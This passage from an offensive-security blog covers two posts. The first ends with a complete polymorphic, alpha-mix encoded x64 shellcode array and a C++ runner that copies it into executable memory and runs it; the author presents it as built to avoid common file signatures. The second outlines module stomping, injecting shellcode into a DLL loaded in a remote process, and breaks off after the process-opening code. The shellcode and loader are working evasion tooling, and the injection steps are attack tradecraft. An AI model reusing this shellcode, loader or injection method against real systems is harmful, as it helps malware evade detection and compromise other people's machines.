        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="se">\"\\</span><span class="sh">""'</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">bytey</span> <span class="o">==</span> <span class="mh">0x20</span><span class="p">:</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">"</span><span class="se">\"\\</span><span class="s">x20</span><span class="se">\"</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">r</span><span class="o">=</span><span class="n">r</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">"'"</span><span class="p">,</span> <span class="sh">'"'</span><span class="p">)</span>
        <span class="n">alphanumericfinal</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sh">'</span><span class="s"> </span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">alphanumericfinal</span><span class="p">))</span>
</code></pre></div></div>

<p>When you run that, you will get something like this:</p>

<p><img width="1460" height="496" alt="image" src="https://github.com/user-attachments/assets/2b381499-73e7-49ca-8252-6ed4d99b8fc1" /></p>

<p>That’s it!  You’ve done it!  That is the final shellcode we were looking for.  So what did we just do?  Well, we…</p>

<ul>
  <li>We started with a barebones x64 assembly template that uses WinExec to spawn the windows calculator
    <ul>
      <li>This assembly code is also unique in that it locates the kernel32 base starting with TEB, then locating PEB, then locating kernel32 by it’s unicode string via a string comparison</li>
    </ul>
  </li>
  <li>Layered our original shellcode with benign assembly instructions which introduce randomness to our code</li>
  <li>We introduced a self-decoding Bitwise NOT + XOR encoded shellcode</li>
  <li>We then took that shellcode and added yet another layer of polymorphism and made it Alpha/Mix compatible.</li>
</ul>

<p>I may have missed something in the bullet points above, but that’ the gist of it.  Now, you can use this final form of shellcode any way you like.  You can inject it into another process, run it as is, etc.  I’ll go ahead and just run it as-is for demonstration purposes.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span>
<span class="s">"H"</span> <span class="s">"</span><span class="se">\x8d</span><span class="s">"</span> <span class="s">"5"</span> <span class="s">"#"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"D"</span> <span class="s">"</span><span class="se">\x8a</span><span class="s">"</span> <span class="s">"</span><span class="se">\r</span><span class="s">"</span> <span class="s">"B"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"¹"</span> <span class="s">"</span><span class="se">\x98</span><span class="s">"</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x8a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x06</span><span class="s">"</span> <span class="s">"D"</span> <span class="s">"0"</span> <span class="s">"È"</span> <span class="s">"ö"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x06</span><span class="s">"</span> <span class="s">"H"</span> <span class="s">"ÿ"</span> <span class="s">"Æ"</span> <span class="s">"â"</span> <span class="s">"ò"</span> <span class="s">"H"</span> <span class="s">"</span><span class="se">\x8d</span><span class="s">"</span> <span class="s">"</span><span class="se">\x05</span><span class="s">"</span> <span class="s">"</span><span class="se">\x02</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="s">"ÿ"</span> <span class="s">"à"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"µ"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¿"</span> <span class="s">"{"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Þ"</span> <span class="s">"l"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"·"</span> <span class="s">"£"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x9a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"6"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"W"</span> <span class="s">"v"</span> <span class="s">"c"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x13</span><span class="s">"</span> <span class="s">"3"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x13</span><span class="s">"</span> <span class="s">"K"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"#"</span> <span class="s">"C"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x94</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"e"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¼"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x1d</span><span class="s">"</span> <span class="s">"3"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¼"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"J"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¿"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"é"</span> <span class="s">"</span><span class="se">\x18</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x16</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1d</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"j"</span> <span class="s">"</span><span class="se">\x80</span><span class="s">"</span> <span class="s">"</span><span class="se">\'</span><span class="s">"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"&amp;"</span> <span class="s">"</span><span class="se">\x85</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"´"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\r</span><span class="s">"</span> <span class="s">"c"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"¥"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"</span><span class="se">\x8b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¶"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x08</span><span class="s">"</span> <span class="s">"o"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"8"</span> <span class="s">"·"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"·"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x9a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"¶"</span> <span class="s">"S"</span> <span class="s">"5"</span> <span class="s">"Ò"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"Û"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"º"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"</span><span class="se">\x9f</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"Ø"</span> <span class="s">"G"</span> <span class="s">"X"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"´"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x91</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"¾"</span> <span class="s">"</span><span class="se">\x17</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="s">"G"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¾"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¿"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x17</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\t</span><span class="s">"</span> <span class="s">"s"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"</span><span class="se">\x82</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¼"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"ë"</span> <span class="s">"û"</span> <span class="s">"Å"</span> <span class="s">"Â"</span> <span class="s">"é"</span> <span class="s">"Ô"</span> <span class="s">"É"</span> <span class="s">"Ï"</span> <span class="s">"&lt;"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"</span><span class="se">\x9c</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¤"</span> <span class="s">"</span><span class="se">\x83</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"®"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"³"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"¾"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"»"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"µ"</span> <span class="s">"</span><span class="se">\x03</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ö"</span> <span class="s">"¥"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"³"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x97</span><span class="s">"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"·"</span> <span class="s">"4"</span> <span class="s">"°"</span> <span class="s">"c"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"</span><span class="se">\x12</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"O"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"´"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"µ"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x9a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"j"</span> <span class="s">"X"</span> <span class="s">"</span><span class="se">\'</span><span class="s">"</span> <span class="s">"^"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"&amp;"</span> <span class="s">"</span><span class="se">\x82</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"µ"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x9f</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ö"</span> <span class="s">"·"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"</span><span class="se">\x17</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\t</span><span class="s">"</span> <span class="s">"O"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¤"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¿"</span> <span class="s">"</span><span class="se">\x16</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"o"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x94</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¥"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x93</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x96</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x03</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"®"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"ë"</span> <span class="s">"Ï"</span> <span class="s">"Í"</span> <span class="s">"À"</span> <span class="s">"Ï"</span> <span class="s">"</span><span class="se">\x82</span><span class="s">"</span> <span class="s">"É"</span> <span class="s">"Ô"</span> <span class="s">"É"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¯"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¤"</span> <span class="s">"</span><span class="se">\x83</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x03</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"²"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ö"</span> <span class="s">"·"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x81</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x91</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¿"</span> <span class="s">"c"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"</span><span class="se">\x12</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x84</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">size_t</span> <span class="n">shellcode_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">nullptr</span><span class="p">,</span> <span class="n">shellcode_size</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">exec_mem</span> <span class="o">==</span> <span class="nb">nullptr</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Memory allocation failed</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcode_size</span><span class="p">);</span>
    <span class="k">auto</span> <span class="n">shellcode_func</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)()</span><span class="o">&gt;</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">);</span>
    <span class="n">shellcode_func</span><span class="p">();</span>

    <span class="n">VirtualFree</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile and run that, and you should be greeted with the ever familiar windows calculator!</p>

<p><img width="1479" height="753" alt="image" src="https://github.com/user-attachments/assets/105136ad-d17b-4537-aa8e-b7b040959993" /></p>

<p>Well, that’s it for this particular post.  But I anticipate I’ll do more development and research work surrounding polymorphic PIC shellcode in the near future.  Stay tuned!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1549" height="623" alt="image" src="https://github.com/user-attachments/assets/475df143-f13f-4819-a611-9c64767a6ee8" /></p>

<p><a href="https://app.any.run/tasks/c81c07c1-f6b9-4f74-bb89-95bc605b7ecb">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode" /><category term="PIC" /><category term="x64 assembly" /><category term="2025" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="PIC shellcode" /><category term="Bitwise encoder" /><category term="polymorphic shellcode" /><summary type="html"><![CDATA[Alright I’ll admit I’m pretty pumped for today’s post 😸 Shellcode and x64 Assembly are one of my favorite topics to cover. I don’t know why, but something about assembly and shellcode fascinates me. I don’t know if it’s the fact that I feel extremely accomplished after producing custom shellcode/x64 assembly, or just because it’s so clean &amp; efficient, or it’s evasive capabilities? I’m not sure. But all of those factors certainly contribute to it’s appeal as far as I’m concerned. In today’s post, we’re going to cover quite a bit of ground, so buckle up! I’m going to go over various way to encode your shellcode, obfuscate it, turn it into the popular alpha-mix character format, and of course make it polymorphic. What do I mean exactly when I say polymorphic? Well, in short, I just mean the shellcode will be uniquely different every single time it’s built and ran. In essence, it will never have a common file signature.]]></summary></entry><entry><title type="html">Module Stomping 101 - My Favorite Stomping Grounds</title><link href="https://g3tsyst3m.com/process%20injection/Module-Stomping-101-My-Favorite-Stomping-Grounds/" rel="alternate" type="text/html" title="Module Stomping 101 - My Favorite Stomping Grounds" /><published>2025-10-03T00:00:00+00:00</published><updated>2025-10-03T00:00:00+00:00</updated><id>https://g3tsyst3m.com/process%20injection/Module%20Stomping%20101%20-%20My%20Favorite%20Stomping%20Grounds</id><content type="html" xml:base="https://g3tsyst3m.com/process%20injection/Module-Stomping-101-My-Favorite-Stomping-Grounds/"><![CDATA[<p>It probably comes as no surprise to most of my dedicated readers that I have an undying fascination with all things related to code injection and evasive maneuver techniques in the realm of offensive security.  I’m no expert in the area by any stretch of the imagination, but I find I enjoy researching these specific niche aspects of offensive security tradecraft the most rewarding 😸.  Okay, so you know already by the title of this post that our focus today will be on <code class="language-plaintext highlighter-rouge">module stomping</code>.  What is that exactly?  Well, I’ll talk about it briefly here and also give you a preview video where I provide a high level overview of Module Stomping in what I hope is presented in an easy to understand manner.</p>

<h2 id="what-is-module-stomping-and-what-the-heck-are-we-stomping">What is Module Stomping, and What the heck are we Stomping?</h2>

<blockquote>
  <p><strong>In brief:</strong> Module Stomping is loading an otherwise benign DLL (<code class="language-plaintext highlighter-rouge">dynamic link library</code>), usually from a trusted directory such as <code class="language-plaintext highlighter-rouge">System32</code>, into a remote process (notepad.exe, for instance) and injecting the entry point of that DLL with shellcode (your payload).  Well, that’s the version I am familiar with at least 😺  It can be broken up into 4 phases:</p>
</blockquote>

<ul>
  <li><strong>Loading the DLL into the remote process</strong>
    <ul>
      <li>We first need to use GetProcAddress to load the address for the LoadLibrary API</li>
      <li>Next, we will point the LoadLibrary filename parameter to the path of the DLL we wish to load.  This will be a string containing the full filepath for our DLL</li>
    </ul>
  </li>
  <li><strong>Locating the newly loaded DLL in the list of Loaded Modules for the Remote Process</strong>
    <ul>
      <li>We will enum all the loaded modules, find our DLL, and store it’s handle in an HMODULE variable</li>
    </ul>
  </li>
  <li><strong>Extracting enough bytes (4096) from the handle of the remote DLL to cast against an IMAGE_DOS_HEADER</strong>
    <ul>
      <li>We briefly traverse the PE HEADER (makes things much easier than manually finding offsets) to get to <code class="language-plaintext highlighter-rouge">OptionalHeader.AddressOfEntryPoint</code>.  We add that to the base address of our loaded module and finally have our DLL’s entry point.</li>
    </ul>
  </li>
  <li><strong>Execute our Shellcode!</strong>
    <ul>
      <li>Write our shellcode to the entry point</li>
      <li>Create a remote thread at te entry point</li>
      <li>Execute!</li>
    </ul>
  </li>
</ul>

<blockquote>
  <p>Preview Walkthrough Video Below.  Full video at: <a href="https://ko-fi.com/s/baf68796a1">https://ko-fi.com/s/baf68796a1</a></p>
</blockquote>

<iframe width="560" height="315" src="https://www.youtube.com/embed/zltO1EAQ6UM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<h2 id="walking-through-the-code---the-prologue">Walking through the Code - The Prologue</h2>

<p>This one is very familiar to the average C/C++ code.  It’s the standard commandline argument collection procedure and then passing the argument (the remote process’ PID) into the 3rd parameter of <code class="language-plaintext highlighter-rouge">OpenProcess</code></p>
<blockquote>
  <p>In Short: We’re opening a remote process with the PID we specify 😸  Pretty straight forward right?</p>
</blockquote>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Usage: "</span> <span class="o">&lt;&lt;</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">" &lt;pid&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">HANDLE</span> <span class="n">hProc</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProc</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Failed to open process.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<h2 id="load-the-dll-into-the-remote-process">Load the DLL into the Remote Process</h2>

